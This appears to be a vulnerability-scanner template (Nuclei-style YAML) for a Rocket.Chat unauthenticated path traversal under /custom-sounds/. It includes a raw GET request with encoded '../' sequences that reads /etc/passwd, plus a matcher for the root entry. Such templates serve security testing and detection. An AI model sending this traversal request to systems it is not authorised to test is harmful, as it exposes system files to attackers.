id: CVE-2026-56845

info:
  name: "Rocket.Chat - Local File Inclusion"
  author: vedas-arpsyndicate,Aether-0
  severity: high
  description: |
    An unauthenticated path traversal (LFI) vulnerability exists in Rocket.Chat under /custom-sounds/ when
    CustomSounds storage is configured to FileSystem. By including ../ sequences in the request path, an
    unauthenticated attacker can read arbitrary files outside the base directory.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-56845&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=rocketchat&match=exact
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-56845
    cwe-id: CWE-22
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2026,rocketchat,lfi

http:
  - raw:
      - |
        GET /custom-sounds/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200